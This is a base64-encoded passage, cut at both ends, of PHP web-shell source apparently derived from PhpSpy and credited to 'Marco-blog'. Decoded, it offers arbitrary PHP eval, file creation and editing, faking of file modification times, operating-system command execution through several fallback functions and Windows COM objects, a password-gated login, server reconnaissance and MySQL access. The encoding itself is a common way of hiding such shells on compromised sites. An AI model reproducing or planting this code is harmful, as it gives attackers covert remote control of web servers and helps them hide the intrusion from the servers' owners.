B7DQoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsNCgkJfQ0KCQlldmFsKCI/Ii4iPiRwaHBjb2RlPD8iKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+JzxGT05UIEZBQ0U9InRhaG9tYSIgY29sb3I9IiM5OTk5OTkiPiAgICA8bGVmdD48YnI+PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDpib2xkOyB0ZXh0LXNoYWRvdzp3aGl0ZSAwcHggMHB4IDhweDsgY29sb3I6d2hpdGUiPjxmb250IGNvbG9yPXJlZD5FdmFsIFBIUCBDb2RlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsNCglwKCc8cD48YSBocmVmPSJodHRwOi8vd3d3LmFsdHVya3MuY29tL3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBldmFsDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZWRpdGZpbGUnKSB7DQoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsNCgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7DQoJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkb3BmaWxlKSk7DQoJCUBmY2xvc2UoJGZwKTsNCgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCgl9DQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOw0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidGaWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgZWRpdGZpbGUNCg0KZWxzZWlmICgkYWN0aW9uID09ICduZXd0aW1lJykgew0KCSRvcGZpbGVtdGltZSA9IEBmaWxlbXRpbWUoJG9wZmlsZSk7DQoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoJJGNhY2hlbW9udGggPSBhcnJheSgnSmFudWFyeSc9PjEsJ0ZlYnJ1YXJ5Jz0+MiwnTWFyY2gnPT4zLCdBcHJpbCc9PjQsJ01heSc9PjUsJ0p1bmUnPT42LCdKdWx5Jz0+NywnQXVndXN0Jz0+OCwnU2VwdGVtYmVyJz0+OSwnT2N0b2Jlcic9PjEwLCdOb3ZlbWJlcic9PjExLCdEZWNlbWJlcic9PjEyKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCWZvcm1mb290ZXIoKTsNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsNCglwKCd5ZWFyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOw0KCXAoJ21vbnRoOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidtb250aCcsJ3ZhbHVlJz0+ZGF0ZSgnbScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdkYXk6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCglwKCdob3VyOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ21pbnV0ZTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbWludXRlJywndmFsdWUnPT5kYXRlKCdpJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ3NlY29uZDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdGVyKCk7DQp9Ly9lbmQgbmV3dGltZQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgew0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCWlmKCRwcm9ncmFtICYmICRwYXJhbWV0ZXIpIHsNCgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsNCgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7DQoJCQltKCdQcm9ncmFtIHJ1biBoYXMgJy4oISRhID8gJ3N1Y2Nlc3MnIDogJ2ZhaWwnKSk7DQoJCX0NCgkJISRwcm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7DQoJCSEkcGFyYW1ldGVyICYmICRwYXJhbWV0ZXIgPSAnL2MgbmV0IHN0YXJ0ID4gJy5TQV9ST09ULidsb2cudHh0JzsNCgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsNCgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUHJvZ3JhbScsJ25hbWUnPT4ncHJvZ3JhbScsJ3ZhbHVlJz0+JHByb2dyYW0sJ25ld2xpbmUnPT4xKSk7DQoJCXAoJzxwPicpOw0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7DQoJCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsNCgkJcCgnPC9wPicpOw0KCQlmb3JtZm9vdCgpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOw0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsNCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7DQoJfQ0KCXAoJzxwPicpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQoNCglpZiAoJGNvbW1hbmQpIHsNCgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsNCgkJaWYgKCRleGVjZnVuYz09J3dzY3JpcHQnICYmIElTX1dJTiAmJiBJU19DT00pIHsNCgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7DQoJCQkkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOw0KCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsNCgkJCWVjaG8gJHN0cm91dHB1dDsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09J3Byb2Nfb3BlbicgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwNCgkJCSAgIDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLA0KCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykNCgkJCSk7DQoJCQkkcHJvY2VzcyA9IHByb2Nfb3BlbigkX1NFUlZFUlsnQ09NU1BFQyddLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsNCgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAiZXhpdFxyXG4iKTsNCgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgew0KCQkJCQllY2hvIGZnZXRzKCRwaXBlc1sxXSwgMTAyNCk7DQoJCQkJfQ0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOw0KCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMl0pKSB7DQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsNCgkJCQl9DQoJCQkJZmNsb3NlKCRwaXBlc1syXSk7DQoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoJCQl9DQoJCX0gZWxzZSB7DQoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsNCgkJfQ0KCQlwKCc8L3ByZT4nKTsNCgl9DQp9Ly9lbmQgc2hlbGwNCg0KZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7DQoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOw0KCSRhZG1pbm1haWw9aXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddKSA/ICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSA6IGdldGNmZygnc2VuZG1haWxfZnJvbScpOw0KCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsNCgkkaW5mbyA9IGFycmF5KA0KCQkxID0+IGFycmF5KCdTZXJ2ZXIgVGltZScsZGF0ZSgnWS9tL2QgaDppOnMnLCR0aW1lc3RhbXApKSwNCgkJMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLA0KCQkzID0+IGFycmF5KCdTZXJ2ZXIgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJNCA9PiBhcnJheSgnU2VydmVyIE9TJyxQSFBfT1MpLA0KCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQk2ID0+IGFycmF5KCdTZXJ2ZXIgU29mdHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCTcgPT4gYXJyYXkoJ1NlcnZlciBXZWIgUG9ydCcsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KCQk4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksDQoJCTkgPT4gYXJyYXkoJ1RoZSBmaWxlIHBhdGgnLF9fRklMRV9fKSwNCg0KCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwNCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9hPicgOiAnTm8nKSksDQoJCTEyID0+IGFycmF5KCdTYWZlIE1vZGUnLGdldGNmZygnc2FmZV9tb2RlJykpLA0KCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksDQoJCTE0ID0+IGFycmF5KCdhbGxvd191cmxfZm9wZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLA0KCQkxNSA9PiBhcnJheSgnZW5hYmxlX2RsJyxnZXRjZmcoJ2VuYWJsZV9kbCcpKSwNCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLA0KCQkxNyA9PiBhcnJheSgncmVnaXN0ZXJfZ2xvYmFscycsZ2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLA0KCQkxOCA9PiBhcnJheSgnbWFnaWNfcXVvdGVzX2dwYycsZ2V0Y2ZnKCdtYWdpY19xdW90ZXNfZ3BjJykpLA0KCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwNCgkJMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3NpemUnLGdldGNmZygncG9zdF9tYXhfc2l6ZScpKSwNCgkJMjEgPT4gYXJyYXkoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCR1cHNpemUpLA0KCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksDQoJCTIzID0+IGFycmF5KCdkaXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5jKSwNCgkpOw0KDQoJaWYoJHBocHZhcm5hbWUpIHsNCgkJbSgkcGhwdmFybmFtZSAuJyA6ICcuZ2V0Y2ZnKCRwaHB2YXJuYW1lKSk7DQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZlciBlbnZpcm9ubWVudCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQbGVhc2UgaW5wdXQgUEhQIGNvbmZpZ3VyYXRpb24gcGFyYW1ldGVyKGVnOm1hZ2ljX3F1b3Rlc19ncGMpJywnbmFtZSc9PidwaHB2YXJuYW1lJywndmFsdWUnPT4kcGhwdmFybmFtZSwnbmV3bGluZSc9PjEpKTsNCglmb3JtZm9vdGVyKCk7DQoNCgkkaHAgPSBhcnJheSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7DQoJZm9yKCRhPTA7JGE8MjskYSsrKSB7DQoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsNCgkJcCgnPHVsIGNsYXNzPSJpbmZvIj4nKTsNCgkJaWYgKCRhPT0wKSB7DQoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7DQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KCQkJfQ0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgew0KCQkJZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7DQoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOw0KCQkJfQ0KCQl9DQoJCXAoJzwvdWw+Jyk7DQoJfQ0KfS8vZW5kIHBocGVudg0KDQplbHNlIHsNCgltKCdVbmRlZmluZWQgQWN0aW9uJyk7DQp9DQoNCj8+DQo8L3RkPjwvdHI+PC90YWJsZT4NCjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZWVlOyI+DQoJPHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PD9waHAgZGVidWdpbmZvKCk7b2JfZW5kX2ZsdXNoKCk7Pz48L3NwYW4+DQoJPEZPTlQgRkFDRT0idGFob21hIiBjb2xvcj0iIzk5OTk5OSI+ICAgIDxjZW50ZXI+PGJyPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsgdGV4dC1zaGFkb3c6d2hpdGUgMHB4IDBweCA4cHg7IGNvbG9yOndoaXRlIj48Zm9udCBjb2xvcj1yZWQ+Q29weXJpZ2h0IChDKSAyMDA4LTIwMTIgPGEgaHJlZj0iaHR0cDovL3d3dy5tNHJjMC1zZWN1cml0eS5ibG9nc3BvdC5jb20iIHRhcmdldD0iX2JsYW5rIj5NYXJjby1ibG9nPC9hPiBBbGwgUmlnaHRzIFJlc2VydmVkLg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQp8JiMxMDg3Oy0gKyYjMTA5MDsNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCmZ1bmN0aW9uIG0oJG1zZykgew0KCWVjaG8gJzxkaXYgc3R5bGU9ImJhY2tncm91bmQ6I2YxZjFmMTtib3JkZXI6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzoxNXB4O2ZvbnQ6MTRweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+JzsNCgllY2hvICRtc2c7DQoJZWNobyAnPC9kaXY+JzsNCn0NCmZ1bmN0aW9uIHNjb29raWUoJGtleSwgJHZhbHVlLCAkbGlmZSA9IDAsICRwcmVmaXggPSAxKSB7DQoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7DQoJJGtleSA9ICgkcHJlZml4ID8gJGFkbWluWydjb29raWVwcmUnXSA6ICcnKS4ka2V5Ow0KCSRsaWZlID0gJGxpZmUgPyAkbGlmZSA6ICRhZG1pblsnY29va2llbGlmZSddOw0KCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7DQoJc2V0Y29va2llKCRrZXksICR2YWx1ZSwgJHRpbWVzdGFtcCskbGlmZSwgJGFkbWluWydjb29raWVwYXRoJ10sICRhZG1pblsnY29va2llZG9tYWluJ10sICR1c2Vwb3J0KTsNCn0NCmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgew0KCSRtdWx0aXBhZ2UgPSAnJzsNCglpZigkbnVtID4gJHBlcnBhZ2UpIHsNCgkJJHBhZ2UgPSAxMDsNCgkJJG9mZnNldCA9IDU7DQoJCSRwYWdlcyA9IEBjZWlsKCRudW0gLyAkcGVycGFnZSk7DQoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7DQoJCQkkZnJvbSA9IDE7DQoJCQkkdG8gPSAkcGFnZXM7DQoJCX0gZWxzZSB7DQoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsNCgkJCSR0byA9ICRjdXJwYWdlICsgJHBhZ2UgLSAkb2Zmc2V0IC0gMTsNCgkJCWlmKCRmcm9tIDwgMSkgew0KCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOw0KCQkJCSRmcm9tID0gMTsNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KCQkJCQkkdG8gPSAkcGFnZTsNCgkJCQl9DQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsNCgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOw0KCQkJCSR0byA9ICRwYWdlczsNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJG11bHRpcGFnZSA9ICgkY3VycGFnZSAtICRvZmZzZXQgPiAxICYmICRwYWdlcyA+ICRwYWdlID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAxKTsiPkZpcnN0PC9hPiAnIDogJycpLigkY3VycGFnZSA+IDEgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlIC0gMSkuJyk7Ij5QcmV2PC9hPiAnIDogJycpOw0KCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7DQoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7DQoJCX0NCgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBhZ2VzLicpOyI+TGFzdDwvYT4nIDogJycpOw0KCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOw0KCX0NCglyZXR1cm4gJG11bHRpcGFnZTsNCn0NCi8vIHx8LSsrJiMxMDk5OysrDQpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7DQo/Pg0KCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoJaW5wdXQge2ZvbnQ6MTFweCBWZXJkYW5hO0JBQ0tHUk9VTkQ6ICNGRkZGRkY7aGVpZ2h0OiAxOHB4O2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQ0KCTwvc3R5bGU+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQoJPHNwYW4gc3R5bGU9ImZvbnQ6MTFweCBWZXJkYW5hOyI+UGFzc3dvcmQ6IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQo8P3BocA0KCWV4aXQ7DQp9Ly9lbmQgbG9naW5wYWdlKCkNCg0KZnVuY3Rpb24gZXhlY3V0ZSgkY2ZlKSB7DQoJJHJlcyA9ICcnOw0KCWlmICgkY2ZlKSB7DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCQlAZXhlYygkY2ZlLCRyZXMpOw0KCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjZmUpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBwYXNzdGhydSgkY2ZlKTsNCgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoJCX0gZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKSB7DQoJCQkkcmVzID0gJyc7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB7DQoJCQkJJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7DQoJCQl9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCX0NCglyZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KCSRwYXRoID0gZXhlY3V0ZSgid2hpY2ggJHByIik7DQoJcmV0dXJuICgkcGF0aCA/ICRwYXRoIDogJHByKTsNCn0NCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsNCglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7DQoJCUBmcHV0cygkZnAsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCgkJQGZjbG9zZSgkZnApOw0KCX0NCn0NCg0KLy8gLXx8JiMxMDk0O3wmIzExMTg7LSstKy0mIzEwNzQ7DQpmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoJZ2xvYmFsICRzdGFydHRpbWU7DQoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1hdCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOw0KfQ0KDQovLy0mIzEwODQ7KystICt8KyYjMTA5MDsNCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7DQoJaWYoISRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJGRiaG9zdC4nOicuJGRicG9ydCwgJGRidXNlciwgJGRicGFzcykpIHsNCgkJcCgnPGgyPkNhbiBub3QgY29ubmVjdCB0byBNeVNRTCBzZXJ2ZXI8L2gyPicpOw0KCQlleGl0Ow0KCX0NCglpZigkbGluayAmJiAkZGJuYW1lKSB7DQoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCA